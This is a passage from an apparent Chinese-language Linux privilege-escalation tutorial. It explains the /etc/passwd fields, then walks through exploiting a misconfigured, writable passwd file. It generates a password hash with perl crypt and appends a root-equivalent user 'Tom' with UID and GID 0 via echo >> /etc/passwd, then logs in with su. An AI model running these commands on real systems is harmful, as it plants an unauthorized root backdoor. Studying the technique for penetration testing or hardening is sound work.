在passwd文件中发现了权限配置错误,并最终利用这一点将我们的用户权限提升为了root。在下一篇文章中,我们将讨论有关Linux权限提升的其他方法。
/etc/passwd
Linux系统中的每个用户都在/etc/passwd文件中有一个对应的记录行,它记录了这个用户的一些基本属性。这个文件对所有用户都是可读的。它是一个以冒号分隔的文件,按顺序其包含的信息如下:
用户名加密密码用户 ID (或 UID)组 ID (或 GUID)用户全名用户家目录登录 Shell
我们详细了解一下“/etc/passwd”文件,这里我们以root用户为例:
root:用户名。 x:放置用户密码。密码直接从“/etc/shadow”文件中获取。 0:root用户UID。 0:root用户GID。 root:用户描述的占位符。 /root:用户的家目录。将在终端会话中向用户显示该目录。 /bin/bash:用户的shell。根据用户的目的,将在用户登录时生成此shell。
提权
向passwd文件添加一个用户,并在相应的字段中显式地给出加密密码。你可以使用perl语言生成带有salt的加密密码,如下所示:
$perl -le 'print crypt("THIS_IS_Original_PASSWORD","SALT")'
下面的命令将向passwd文件添加一个具有加密密码和UID,GID设置为root [0]的用户。
echo "Tom:Encrypted_Password:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
让我们拆解下我们要添加到passwd文件的字段。
Tom:用户名 ad7t5uIalqMws:加密用户密码 0:root用户ID 0:root组ID User_like_root:用户描述 /root:用户家目录 /bin/bash:用户的Shell
‘>>’符号将输出重定向到文件,并在结尾附加重定向输出的内容(此处为/etc/passwd文件)。
生成加密密码:
perl -le ‘print crypt(“Password@973″,”addedsalt”)’

上面的命令将生成一个带有以下密码和salt的哈希:
原密码:Password@973 盐:addedsalt 加密密码:ad7t5uIalqMws
使用上面的加密密码,我们现在将以下内容附加到/etc/passwd文件中。
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd

Tom用户已成功被附加到/etc/passwd文件。
cat /etc/passwd

现在,使用su命令我们将尝试使用Tom用户登录。
